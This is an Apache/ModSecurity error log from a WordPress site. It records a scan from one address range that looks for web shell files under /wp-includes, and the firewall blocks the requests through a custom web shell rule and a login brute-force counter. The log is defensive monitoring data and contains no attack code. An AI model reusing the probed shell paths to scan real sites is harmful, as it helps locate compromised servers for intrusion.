[Sun Mar 01 14:19:28.670548 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.204:45733] [client 45.86.202.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aaPacJ3RJaXMcw3y9V9mPQAAAA4"]
[Sun Mar 01 14:19:31.438588 2026] [:error] [pid 44644:tid 44662] [client 45.86.202.172:58807] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/infi.php"] [unique_id "aaPac53RJaXMcw3y9V9mTQAAAA8"]
[Sun Mar 01 14:19:35.382845 2026] [:error] [pid 44644:tid 44665] [client 45.86.202.180:62139] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaPad53RJaXMcw3y9V9mWQAAABI"]
[Sun Mar 01 14:19:41.247277 2026] [:error] [pid 42619:tid 42638] [client 45.86.202.200:47709] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaPafR_zUXcYaZE4AOdz8gAAAVE"]
[Sun Mar 01 14:19:41.821428 2026] [:error] [pid 41967:tid 41989] [client 45.86.202.195:34147] [client 45.86.202.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaPafYO1bqY181I02eF7ZwAAAJQ"]
[Sun Mar 01 14:19:50.774517 2026] [:error] [pid 38034:tid 38062] [client 45.86.202.200:64133] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaPahgxtfZjwlJok9K92ZgAAARg"]
[Sun Mar 01 14:19:54.071405 2026] [:error] [pid 38034:tid 38056] [client 45.86.202.159:23003] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaPaigxtfZjwlJok9K92bQAAARI"]
[Sun Mar 01 14:19:59.560927 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.181:35171] [client 45.86.202.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aaPaj53RJaXMcw3y9V9mhwAAAAo"]
[Sun Mar 01 14:20:05.512976 2026] [:error] [pid 37032:tid 37038] [client 45.86.202.205:37255] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaPaleu0U4o7eSImsVQPnQAAAYQ"]
[Sun Mar 01 14:20:10.122303 2026] [:error] [pid 44644:tid 44648] [client 45.86.202.176:38821] [client 45.86.202.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/click.php"] [unique_id "aaPamp3RJaXMcw3y9V9mowAAAAE"]
[Sun Mar 01 14:20:16.489047 2026] [:error] [pid 38034:tid 38039] [client 45.86.202.203:24241] [client 45.86.202.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaPaoAxtfZjwlJok9K92ogAAAQM"]
[Sun Mar 01 14:20:30.816552 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.189:62367] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaParp3RJaXMcw3y9V9m5gAAABY"]
[Sun Mar 01 14:20:31.422101 2026] [:error] [pid 44644:tid 44660] [client 45.86.202.178:48809] [client 45.86.202.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/xl2023.php"] [unique_id "aaPar53RJaXMcw3y9V9m6QAAAA0"]
[Sun Mar 01 14:20:32.074785 2026] [:error] [pid 38034:tid 38060] [client 45.86.202.169:59685] [client 45.86.202.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaPasAxtfZjwlJok9K92yQAAARY"]
[Sun Mar 01 14:20:32.689866 2026] [:error] [pid 38241:tid 38257] [client 45.86.202.157:50239] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaPasPKRPk6YnJBxw_wYFAAAAM0"]
[Sun Mar 01 14:20:35.278495 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.171:50741] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaPas53RJaXMcw3y9V9m8AAAABY"]
[Sun Mar 01 14:20:35.894884 2026] [:error] [pid 37032:tid 37052] [client 45.86.202.185:45287] [client 45.86.202.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaPas-u0U4o7eSImsVQQGQAAAZI"]
[Sun Mar 01 14:20:40.429259 2026] [:error] [pid 37032:tid 37050] [client 45.86.202.205:37955] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aaPauOu0U4o7eSImsVQQKAAAAZA"]
[Sun Mar 01 14:20:41.009991 2026] [:error] [pid 38241:tid 38267] [client 45.86.202.205:63001] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaPaufKRPk6YnJBxw_wYMQAAANc"]
[Sun Mar 01 14:20:41.692899 2026] [:error] [pid 41967:tid 41972] [client 45.86.202.175:34637] [client 45.86.202.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaPauYO1bqY181I02eF7egAAAIM"]
[Sun Mar 01 14:20:42.379917 2026] [:error] [pid 41342:tid 41365] [client 45.86.202.170:54175] [client 45.86.202.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaPauo4iJ6RAS5CatDlCmwAAAhQ"]
[Sun Mar 01 14:20:44.987244 2026] [:error] [pid 41780:tid 41788] [client 45.86.202.174:35641] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaPavMONkVoocLIqzy0IIwAAA8U"]
[Sun Mar 01 14:20:49.401571 2026] [:error] [pid 38034:tid 38060] [client 45.86.202.189:36313] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaPawQxtfZjwlJok9K93BgAAARY"]
[Sun Mar 01 14:20:56.565525 2026] [:error] [pid 42619:tid 42629] [client 45.86.202.196:22177] [client 45.86.202.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaPayB_zUXcYaZE4AOd05wAAAUg"]
[Sun Mar 01 14:21:10.323511 2026] [:error] [pid 41780:tid 41788] [client 45.86.202.174:55277] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/file.php"] [unique_id "aaPa1sONkVoocLIqzy0IMgAAA8U"]
[Sun Mar 01 14:21:16.025297 2026] [:error] [pid 38241:tid 38253] [client 45.86.202.166:63897] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaPa3PKRPk6YnJBxw_wYcAAAAMk"]
[Sun Mar 01 14:21:16.620777 2026] [:error] [pid 44644:tid 44665] [client 45.86.202.160:55359] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaPa3J3RJaXMcw3y9V9nlwAAABI"]
[Sun Mar 01 14:21:23.655077 2026] [:error] [pid 41780:tid 41786] [client 45.86.202.160:56007] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaPa48ONkVoocLIqzy0IPAAAA8M"]
[Sun Mar 01 14:21:29.450749 2026] [proxy_fcgi:error] [pid 44644:tid 44669] [client 45.86.202.157:61335] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:21:29.863758 2026] [proxy_fcgi:error] [pid 44644:tid 44648] [client 45.86.202.157:61335] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:21:30.180510 2026] [proxy_fcgi:error] [pid 44644:tid 44668] [client 45.86.202.157:61335] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:21:35.333660 2026] [:error] [pid 44644:tid 44665] [client 45.86.202.157:61335] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaPa753RJaXMcw3y9V9n6gAAABI"]
[Sun Mar 01 14:21:36.091911 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.205:56389] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaPa8J3RJaXMcw3y9V9n7QAAAAo"]
[Sun Mar 01 14:21:36.714518 2026] [:error] [pid 38034:tid 38039] [client 45.86.202.169:33583] [client 45.86.202.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaPa8AxtfZjwlJok9K93gAAAAQM"]
[Sun Mar 01 14:21:37.312017 2026] [:error] [pid 38034:tid 38039] [client 45.86.202.166:22393] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaPa8QxtfZjwlJok9K93hQAAAQM"]
[Sun Mar 01 14:21:37.905146 2026] [:error] [pid 40750:tid 40755] [client 45.86.202.192:59253] [client 45.86.202.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaPa8QfBuk03yQKDyqvF7wAAAcI"]
[Sun Mar 01 14:21:38.609813 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.166:30755] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaPa8p3RJaXMcw3y9V9n9wAAAAo"]
[Sun Mar 01 14:21:40.632298 2026] [:error] [pid 37032:tid 37049] [client 45.86.202.204:36185] [client 45.86.202.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaPa9Ou0U4o7eSImsVQQkgAAAY8"]
[Sun Mar 01 14:21:41.340706 2026] [:error] [pid 40750:tid 40762] [client 45.86.202.159:63279] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaPa9QfBuk03yQKDyqvF8AAAAck"]
[Sun Mar 01 14:21:42.015060 2026] [:error] [pid 38034:tid 38055] [client 45.86.202.203:55251] [client 45.86.202.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaPa9gxtfZjwlJok9K93lwAAARE"]
[Sun Mar 01 14:21:42.654416 2026] [:error] [pid 40750:tid 40771] [client 45.86.202.165:37413] [client 45.86.202.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaPa9gfBuk03yQKDyqvF8gAAAdI"]
[Sun Mar 01 14:21:46.967316 2026] [:error] [pid 37032:tid 37051] [client 45.86.202.172:39717] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaPa-uu0U4o7eSImsVQQuQAAAZE"]
[Sun Mar 01 14:21:48.798370 2026] [:error] [pid 44644:tid 44671] [client 45.86.202.190:23691] [client 45.86.202.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaPa_J3RJaXMcw3y9V9oQgAAABg"]
[Sun Mar 01 14:21:53.023161 2026] [:error] [pid 38034:tid 38039] [client 45.86.202.225:64131] [client 45.86.202.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaPbAQxtfZjwlJok9K93sAAAAQM"]
[Sun Mar 01 14:21:57.384558 2026] [:error] [pid 42619:tid 42643] [client 45.86.202.197:42989] [client 45.86.202.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "aaPbBR_zUXcYaZE4AOd1NAAAAVY"]
[Sun Mar 01 14:22:03.908577 2026] [:error] [pid 42619:tid 42644] [client 45.86.202.160:31389] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaPbCx_zUXcYaZE4AOd1QgAAAVc"]
[Sun Mar 01 14:22:11.457629 2026] [:error] [pid 38034:tid 38046] [client 45.86.202.158:57911] [client 45.86.202.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaPbEwxtfZjwlJok9K94JwAAAQg"]
[Sun Mar 01 14:22:14.201556 2026] [:error] [pid 44644:tid 44668] [client 45.86.202.186:23735] [client 45.86.202.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aaPbFp3RJaXMcw3y9V9o1gAAABU"]
[Sun Mar 01 14:22:41.087541 2026] [:error] [pid 41967:tid 41989] [client 45.86.202.199:56467] [client 45.86.202.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaPbMYO1bqY181I02eF8TwAAAJQ"]
[Sun Mar 01 14:22:41.688178 2026] [:error] [pid 38034:tid 38055] [client 45.86.202.191:47201] [client 45.86.202.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaPbMQxtfZjwlJok9K94xgAAARE"]
[Sun Mar 01 14:22:42.266626 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.167:54881] [client 45.86.202.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPbMp3RJaXMcw3y9V9pOAAAAA4"]
[Sun Mar 01 14:22:45.707669 2026] [:error] [pid 44644:tid 44671] [client 45.86.202.167:54881] [client 45.86.202.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaPbNZ3RJaXMcw3y9V9pPwAAABg"]
[Sun Mar 01 14:22:50.294283 2026] [:error] [pid 38034:tid 38044] [client 45.86.202.172:41547] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaPbOgxtfZjwlJok9K95DAAAAQY"]
[Sun Mar 01 14:22:50.873339 2026] [:error] [pid 38241:tid 38266] [client 45.86.202.184:28789] [client 45.86.202.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaPbOvKRPk6YnJBxw_wY0gAAANY"]
